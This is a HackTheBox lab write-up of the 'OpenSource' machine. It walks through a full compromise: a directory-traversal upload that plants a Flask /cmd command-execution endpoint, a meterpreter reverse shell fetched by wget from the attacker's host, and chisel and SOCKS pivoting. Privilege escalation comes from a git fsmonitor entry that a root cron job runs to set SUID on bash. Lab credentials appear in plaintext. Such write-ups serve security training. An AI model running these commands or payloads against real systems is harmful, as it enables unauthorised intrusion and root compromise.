HTB: OpenSource Writeup

OpenSource - HackTheBox Writeup

Machine Information

AttributeDetails
NameOpenSource
OSLinux
DifficultyEasy
PointsN/A
Release Date19 May 2022
IP Address10.10.11.164
Authord3vn0mi

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

OpenSource is an easy difficulty Linux machine featuring a Python Flask file-sharing application with critical vulnerabilities. After downloading the exposed source code, Git repository analysis reveals hardcoded credentials in a VSCode settings file. The application suffers from unrestricted file uploads and directory traversal flaws, allowing remote code execution via views.py overwrite. The initial foothold lands inside a Docker container, requiring lateral movement through internal network enumeration and Gitea exploitation to obtain SSH credentials. Privilege escalation leverages Git configuration fsmonitor functionality executed by a root cron job to grant SUID privileges on the bash binary.

TL;DR: Git credentials → RCE via file upload/directory traversal → Docker escape to Gitea → SSH access → Git fsmonitor SUID exploit → Root


Reconnaissance

Port Scanning

Terminal window
# Initial scan to identify open ports
nmap -p- --min-rate=1000 -T4 10.10.11.164
# Detailed service enumeration
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.164 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sV 10.10.11.164

Results:

  • Port 22 - OpenSSH 7.9p1 (SSH)
  • Port 80 - Python HTTP Server (Flask Application)

Service Enumeration

Navigating to http://10.10.11.164:80 reveals a file-sharing web application with the following key features:

  1. Main landing page advertising “Upcloud” - a file sharing service
  2. /upcloud endpoint for authenticated file uploads
  3. /download endpoint serving source.zip containing the complete application source code
  4. The application is containerized (Docker)

Vulnerability Assessment

Identified Vulnerabilities:

  1. Exposed Source Code - Complete application source available for download via /download
  2. Git Repository Exposure - .git folder present in source code
  3. Hardcoded Credentials in Git History - VSCode settings file contains plaintext credentials in older commits
  4. Unrestricted File Upload - No file type filtering in /upcloud endpoint
  5. Directory Traversal in Path Handling - Insecure use of os.path.join() allowing path manipulation via filename parameter
  6. Remote Code Execution Potential - Ability to overwrite Flask application files

Initial Foothold

Step 1: Extract and Analyze Source Code

Terminal window
# Download source code
unzip source.zip
# List directory structure
ls -la
# Output shows .git folder indicating a Git repository

Step 2: Extract Credentials from Git History

Terminal window
# Check commit history
git log
# List available branches
git show-branch
# Checkout development branch with interesting commits
git checkout dev
# Review commit differences to find hardcoded credentials
git diff ee9d9f1ef9156c787d53074493e39ae364cd1e05 a76f8f75f7a4a12b706b0cf9c983796fa1985820
# Checkout specific commit containing VSCode settings
git checkout a76f8f75f7a4a12b706b0cf9c983796fa1985820
cd app/.vscode && cat settings.json

Discovered Credentials:

{
"python.pythonPath": "/home/dev01/.virtualenvs/flask-app-b5GscEs_/bin/python",
"http.proxy": "http://dev01:Soulless_Developer#2022@10.10.10.128:5187/",
"http.proxyStrictSSL": false
}

Username: dev01
Password: Soulless_Developer#2022

Step 3: Analyze Vulnerable Code

# app/app/views.py vulnerable upload handler
@app.route('/upcloud', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
f = request.files['file']
file_name = get_file_name(f.filename) # No filtering!
file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
f.save(file_path)
return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
return render_template('upload.html')
# Directory traversal through os.path.join behavior:
# os.path.join("/var/www/html", "/etc/passwd") → "/etc/passwd"
# The leading slash in the second argument overwrites the first!

Step 4: Create RCE Payload

Create a modified views.py with command execution capability:

import os
import subprocess
from app.utils import get_file_name
from flask import render_template, request, send_file
from app import app
@app.route('/')
def index():
return render_template('index.html')
@app.route('/download')
def download():
return send_file(os.path.join(os.getcwd(), "app", "static", "source.zip"))
@app.route('/upcloud', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
f = request.files['file']
file_name = get_file_name(f.filename)
file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
f.save(file_path)
return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
return render_template('upload.html')
@app.route('/uploads/<path:path>')
def send_report(path):
path = get_file_name(path)
return send_file(os.path.join(os.getcwd(), "public", "uploads", path))
@app.route('/cmd')
def execute():
cmd = request.args.get('cmd')
return subprocess.check_output(cmd.split(" "))

Step 5: Upload Payload via BurpSuite

  1. Open BurpSuite and capture the upload request to /upcloud
  2. Modify the filename parameter to: /app/app/views.py
  3. Replace the file content with the modified views.py payload
  4. Forward the request
  5. Verify RCE by navigating to /cmd?cmd=id
Terminal window
# Test command execution
curl 'http://10.10.11.164/cmd?cmd=id'
# Output: uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon)...

Step 6: Establish Reverse Shell

Generate msfvenom payload:

Terminal window
# Create ELF binary for reverse shell
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.4 LPORT=4444 -f elf -o shell
# Start local HTTP server
python3 -m http.server 8000
# In msfconsole, setup listener
msfconsole
use multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost tun0
run

Download and execute shell:

Terminal window
# Download shell via RCE endpoint
http://10.10.11.164/cmd?cmd=wget%20http://10.10.14.4:8000/shell
# Make executable
http://10.10.11.164/cmd?cmd=chmod%20777%20shell
# Execute reverse shell
http://10.10.11.164/cmd?cmd=./shell

Result: Meterpreter session established, but running as root inside Docker container.


Lateral Movement

Step 1: Enumerate Docker Network

Terminal window
meterpreter > ifconfig
# Shows container IP: 172.17.0.6/16
# Gateway typically at: 172.17.0.1

Step 2: Setup SOCKS Proxy for Internal Network Access

Background current session and setup SOCKS proxy:

Terminal window
meterpreter > background
# In msfconsole
search socks
use auxiliary/server/socks_proxy
run

Configure proxychains:

Terminal window
# Edit /etc/proxychains.conf
# Add under [ProxyList]:
socks5 127.0.0.1 1080

Setup autorouting:

Terminal window
# In msfconsole
use post/multi/manage/autoroute
set session 1
run

Step 3: Scan Internal Network

Terminal window
# Scan host machine through proxy
proxychains -q nmap -A -v 172.17.0.1
# Results show port 3000 open (Gitea service)

Step 4: Port Forward with Chisel

Setup local Chisel server:

Terminal window
# Download chisel and setup listener locally
./chisel server -p 9999 --reverse > /dev/null 2>&1

From Meterpreter session:

Terminal window
# Upload chisel to remote system
upload chisel
# Execute with reverse port forward
execute -f /tmp/chisel -i -a "client 10.10.14.4:9999 R:3000:172.17.0.1:3000"

Access Gitea locally at http://localhost:3000

Step 5: Exploit Gitea Instance

  1. Login with discovered credentials: dev01 / Soulless_Developer#2022
  2. Navigate to dev01/home-backup repository
  3. Locate and access the .ssh folder
  4. Copy the contents of id_rsa (SSH private key)

Step 6: SSH Access to Host

Terminal window
# Save SSH key locally
echo "-----BEGIN RSA PRIVATE KEY-----" > id_rsa
# [paste full key contents]
echo "-----END RSA PRIVATE KEY-----" >> id_rsa
# Update hosts file for Gitea access
echo '127.0.0.1 opensource.htb' | sudo tee -a /etc/hosts
# Set correct permissions
chmod 400 id_rsa
# SSH into host as dev01
ssh -i id_rsa dev01@10.10.11.164

Result: Authenticated SSH access as dev01 user. User flag accessible at /home/dev01/user.txt


Privilege Escalation

Step 1: Identify Git-Based Privilege Escalation Vector

Enumerate home directory:

Terminal window
ls -al /home/dev01/
# Shows .git directory owned by dev01

Step 2: Monitor Background Processes

Terminal window
# Upload pspy64 for process monitoring
scp -i id_rsa pspy64 dev01@10.10.11.164:/tmp
# Make executable and run
chmod +x pspy64
./pspy64
# After waiting, observe:
# /bin/bash -c cd /home/dev01/ && git-sync (running as root)

Step 3: Analyze Root Cron Job

cat /usr/local/bin/git-sync
#!/bin/bash
cd /home/dev01/
if ! git status --porcelain; then
echo "No changes"
else
day=$(date +'%Y-%m-%d')
echo "Changes detected, pushing.."
git add .
git commit -m "Backup for ${day}"
git push origin main
fi

Key Insight: Root user executes git commit operations on user-controlled repository.

Step 4: Exploit Git Config fsmonitor

The .git/config file can define an fsmonitor parameter that executes arbitrary commands during git operations. Since this runs as root, we gain privilege escalation.

Terminal window
# Edit .git/config
nano /home/dev01/.git/config
# Original content:
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = http://opensource.htb:3000/dev01/home-backup.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
remote = origin
merge = refs/heads/main
# Modified content - add fsmonitor parameter:
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
fsmonitor = "chmod 4755 /bin/bash"
[remote "origin"]
url = http://opensource.htb:3000/dev01/home-backup.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
remote = origin
merge = refs/heads/main

Step 5: Trigger Root Execution

Wait for the cron job to execute (typically runs every few minutes). The git commit operation will trigger the fsmonitor command, setting SUID on bash:

Terminal window
# Verify SUID bit is set (after cron execution)
ls -al /bin/bash
# Expected output: -rwsr-xr-x 1 root root 1113504 Apr 18 15:08 /bin/bash
# Execute bash with privilege escalation
bash -p
# Verify root access
id
# Output: uid=0(root) gid=0(root) groups=0(root)...
# Read root flag
cat /root/root.txt

Attack Chain Summary

Source Code Download
Git Repository Analysis (credentials extraction)
Vulnerable Code Analysis (file upload + directory traversal)
RCE via views.py Overwrite (/cmd endpoint)
Reverse Meterpreter Shell (Docker container)
SOCKS Proxy Setup (network pivoting)
Internal Gitea Discovery (port 3000)
Gitea Login (dev01 credentials)
SSH Key Extraction (home-backup repository)
SSH Access to Host (dev01 user)
Cron Job Identification (pspy monitoring)
Git Config Modification (fsmonitor parameter)
Root Command Execution (chmod SUID bash)
Privilege Escalation (bash -p)
Root Flag

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
gitRepository analysis and credential extraction
burpsuiteHTTP request interception and payload delivery
msfvenomReverse shell payload generation
meterpreterPost-exploitation framework and session management
proxychainsSOCKS proxy routing for internal network access
chiselTCP port forwarding and tunneling
pspy64Process monitoring to identify privilege escalation vectors
sshAuthenticated remote access
nanoGit config file modification

Key Learnings

Techniques Practiced

  • Git Repository Analysis - Extracting sensitive information from commit history and deleted files
  • Source Code Review - Identifying file upload and path traversal vulnerabilities
  • Unrestricted File Upload - Exploiting lack of file type validation to achieve RCE
  • Directory Traversal Exploitation - Leveraging os.path.join() behavior to overwrite critical application files
  • Network Pivoting - Using SOCKS proxies and port forwarding to access internal services
  • Docker Container Escape - Lateral movement from container to host via exposed services
  • Git Configuration Exploitation - Leveraging fsmonitor parameter for arbitrary command execution
  • Privilege Escalation via Cron Jobs - Exploiting root-owned processes that interact with user-controlled files

Lessons Learned

  1. Source code exposure is critical - Never expose .git directories or application source code publicly. Attackers gain complete understanding of application logic and can identify vulnerabilities at leisure.

  2. Secure file handling is essential - Use whitelisting for allowed file extensions, implement proper filename sanitization, and avoid os.path.join() for constructing file paths with user input.

  3. Credential management in development - Avoid storing credentials in VSCode settings files, IDE configurations, or any files that might be committed to version control. Use environment variables or secure credential managers.

  4. Git repository security - Be cautious of sensitive information in commit history. Even deleted files remain accessible through git history and should be purged with git filter-branch if accidentally committed.

  5. Container security - Isolated containers running as root with exposed services create lateral movement opportunities. Implement proper network segmentation and principle of least privilege.

  6. Monitor background processes - Tools like pspy can reveal privilege escalation opportunities through unattended cron jobs or services.

  7. Git configuration hardening - Restrict modification of .git/config files and audit git operations, especially when executed with elevated privileges.

  8. Real-world impact - This machine demonstrates how small misconfigurations can chain together into complete system compromise, reflecting real-world vulnerability chains.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>